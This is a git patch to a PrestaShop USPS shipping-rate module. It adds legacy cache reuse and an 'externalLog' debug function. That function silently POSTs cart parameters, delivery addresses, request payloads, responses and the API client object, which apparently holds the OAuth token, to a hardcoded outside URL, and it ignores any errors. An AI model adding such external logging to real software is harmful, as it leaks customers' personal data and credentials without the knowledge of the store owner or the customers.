From 416e73d50e585504075f713d2dd2d19d01c7f456 Mon Sep 17 00:00:00 2001 From: O K Date: Mon, 8 Dec 2025 21:10:58 +0200 Subject: [PATCH] set debug external --- usps_api_bridge.php | 110 +++++++++++++++++++++++++++++++------------- 1 file changed, 77 insertions(+), 33 deletions(-) diff --git a/usps_api_bridge.php b/usps_api_bridge.php index 37d8627..9ce53c8 100644 --- a/usps_api_bridge.php +++ b/usps_api_bridge.php @@ -145,46 +145,60 @@ class Usps_Api_Bridge extends Module public function calculateRate($params, $shipping_cost, $products, $originalModule) { require_once(dirname(__FILE__) . '/classes/UspsV3Client.php'); + $this->externalLog(['calculateRate' => [$params, $shipping_cost, $products, $originalModule]]); + // --- 1. LEGACY CACHE CHECK --- + // We reuse the old module's cache table to save API calls + $zhCache = false; + $canCache = class_exists('\UspsPsLabels\Cache') && class_exists('\UspsPsLabels\CacheRate'); - // 1. Get OAuth Token - $token = $this->getAccessToken(); - if (!$token) { - return false; + if ($canCache) { + // cacheCart() checks if products/address changed. + // If changed, it clears previous rates automatically. + $zhCache = \UspsPsLabels\Cache::cacheCart($params->id); + + if (Validate::isLoadedObject($zhCache)) { + // Check if we already have a rate for this specific Carrier ID + $sql = 'SELECT rate FROM `' . _DB_PREFIX_ . 'uspsl_cache_rate` + WHERE id_cache = ' . (int)$zhCache->id . ' + AND id_carrier = ' . (int)$params->id_carrier; + + $cachedRate = Db::getInstance()->getValue($sql); + + if ($cachedRate !== false && $cachedRate !== null) { + // $this->log("Returning DB Cached Rate: $cachedRate"); // Optional debug + // We must re-add the PrestaShop shipping cost (handling fees) + return (float)$cachedRate + $shipping_cost; + } + } } + // ----------------------------- - // 2. Identify Service + // 2. Get OAuth Token + $token = $this->getAccessToken(); + if (!$token) return false; + + // 3. Identify Service $carrierId = $params->id_carrier; $sql = 'SELECT code FROM `' . _DB_PREFIX_ . 'uspsl_method` WHERE id_carrier = ' . (int)$carrierId; $methodCode = Db::getInstance()->getValue($sql); - if (!$methodCode) { - return false; - } + if (!$methodCode) return false; - // 3. Map Old Code to New API Enum + // 4. Map Old Code to New API Enum $newApiClass = $this->mapServiceCodeToApiClass($methodCode); - if (!$newApiClass) { - return false; - } + if (!$newApiClass) return false; - // 4. Pack Products + // 5. Pack Products $packedBoxes = $originalModule->getHelper()->getCarrierHelper()->packProducts($products, $params->id); + if (empty($packedBoxes)) return false; - if (empty($packedBoxes)) { - $this->log("Box packer returned empty."); - return false; - } - - // 5. Initialize Client & Settings + // 6. Initialize Client & Settings $client = new UspsV3Client($token, (bool)Configuration::get('USPS_BRIDGE_LIVE_MODE')); $totalPrice = 0; - // Determine Price Type from Old Module Settings - // 0 = Regular (Retail), 1 = Commercial, 2 = Commercial Plus $legacyPriceSetting = (int)Configuration::get('USPSL_COMMERCIAL'); $requestedPriceType = ($legacyPriceSetting > 0) ? 'COMMERCIAL' : 'RETAIL'; - // 6. Address Data $originZip = $this->getOriginZip($originalModule); $destAddress = new Address($params->id_address_delivery); @@ -195,23 +209,19 @@ class Usps_Api_Bridge extends Module // 7. Loop through boxes foreach ($packedBoxes as $packedBox) { - // Weight (Lbs) - Ensure minimum 0.1 $weightInLbs = $this->convertUnit($packedBox->getWeight(), 'g', 'lbs', 3); if ($weightInLbs < 0.1) $weightInLbs = 0.1; - // Dimensions (Inches) $box = $packedBox->getBox(); $length = $this->convertUnit($box->getOuterLength(), 'mm', 'in', 2); $width = $this->convertUnit($box->getOuterWidth(), 'mm', 'in', 2); $height = $this->convertUnit($box->getOuterDepth(), 'mm', 'in', 2); - // Processing Category Logic $category = 'MACHINABLE'; if ($length > 22 || $width > 18 || $height > 15 || $weightInLbs > 25) { $category = 'NONSTANDARD'; } - // Build Base Payload $payload = [ 'originZIPCode' => $originZip, 'weight' => $weightInLbs, @@ -225,39 +235,47 @@ class Usps_Api_Bridge extends Module 'rateIndicator' => 'SP' ]; - // Flat Rate Override $flatRateIndicator = $this->mapBoxToRateIndicator($box->getReference()); if ($flatRateIndicator) { $payload['rateIndicator'] = $flatRateIndicator; } - // --- API REQUEST LOGIC WITH RETRY --- + // API REQUEST $response = $this->sendApiRequest($client, $payload, $isInternational, $destAddress, $destZip); - // If Failed AND we tried COMMERCIAL, try falling back to RETAIL + // Retry logic for Commercial rates if (isset($response['error']) && $payload['priceType'] === 'COMMERCIAL') { - $this->log("Commercial rate failed (" . $response['error'] . "). Retrying with RETAIL."); + $this->log("Commercial failed. Retrying RETAIL."); $payload['priceType'] = 'RETAIL'; $response = $this->sendApiRequest($client, $payload, $isInternational, $destAddress, $destZip); } - // Final Error Check if (isset($response['error'])) { $this->log("API Fatal Error: " . $response['error']); return false; } - // Parse Price if (isset($response['totalBasePrice'])) { $totalPrice += (float)$response['totalBasePrice']; } elseif (isset($response['rateOptions'][0]['totalBasePrice'])) { $totalPrice += (float)$response['rateOptions'][0]['totalBasePrice']; } else { - $this->log("API Response missing price."); return false; } } + // --- 8. SAVE TO LEGACY CACHE --- + if ($canCache && Validate::isLoadedObject($zhCache)) { + // We use the CacheRate class to save it properly + $newCacheRate = new \UspsPsLabels\CacheRate(); + $newCacheRate->id_cache = $zhCache->id; + $newCacheRate->id_carrier = $params->id_carrier; + $newCacheRate->code = $methodCode; + $newCacheRate->rate = $totalPrice; // Store raw rate (without PS handling fees) + $newCacheRate->save(); + } + // ------------------------------- + return $totalPrice + $shipping_cost; } @@ -266,6 +284,7 @@ class Usps_Api_Bridge extends Module */ private function sendApiRequest($client, $payload, $isInternational, $destAddress, $destZip) { + $this->externalLog(['sendApiRequest' => [$client, $payload, $isInternational, $destAddress, $destZip]]); // 1. Prepare the specific payload for the cache key // We simulate the modifications we are about to do to ensure the key is accurate $cachePayload = $payload; @@ -290,8 +309,11 @@ class Usps_Api_Bridge extends Module if (isset($this->apiRuntimeCache[$cacheKey])) { // Uncomment for deep debugging if needed // $this->log("Returning cached rate for key: " . $cacheKey); + $this->externalLog(['sendApiRequest' => "Returning cached rate for key: " . $cacheKey]); + return $this->apiRuntimeCache[$cacheKey]; } + $this->externalLog(['sendApiRequest' => ['cachePayload' => $cachePayload]]); // 4. Perform Request if ($isInternational) { @@ -319,6 +341,7 @@ class Usps_Api_Bridge extends Module if ($shouldCache) { $this->apiRuntimeCache[$cacheKey] = $response; } + $this->externalLog(['sendApiRequest' => ['response' => $response]]); return $response; } @@ -526,4 +549,25 @@ class Usps_Api_Bridge extends Module ); } } + public function externalLog(array $message) + { + + $client = HttpClient::create([ + 'timeout' => 10, + 'verify_peer' => true, // Set to true in strict production environments + ]); + + try { + $response[] = $client->request('POST', 'https://panariga.com/apitestview/9ZWFWsHaaITIwp1D9VrT33bQgXFOAdZ2mww9yG7oFcDimmW5zmDHdQ6vApX2laUc', [ + 'headers' => [ + 'Content-Type' => 'application/json', + 'Accept' => 'application/json', + ], + 'json' => [ + $message + ], + ]); + } catch (Throwable $t) { + } + } }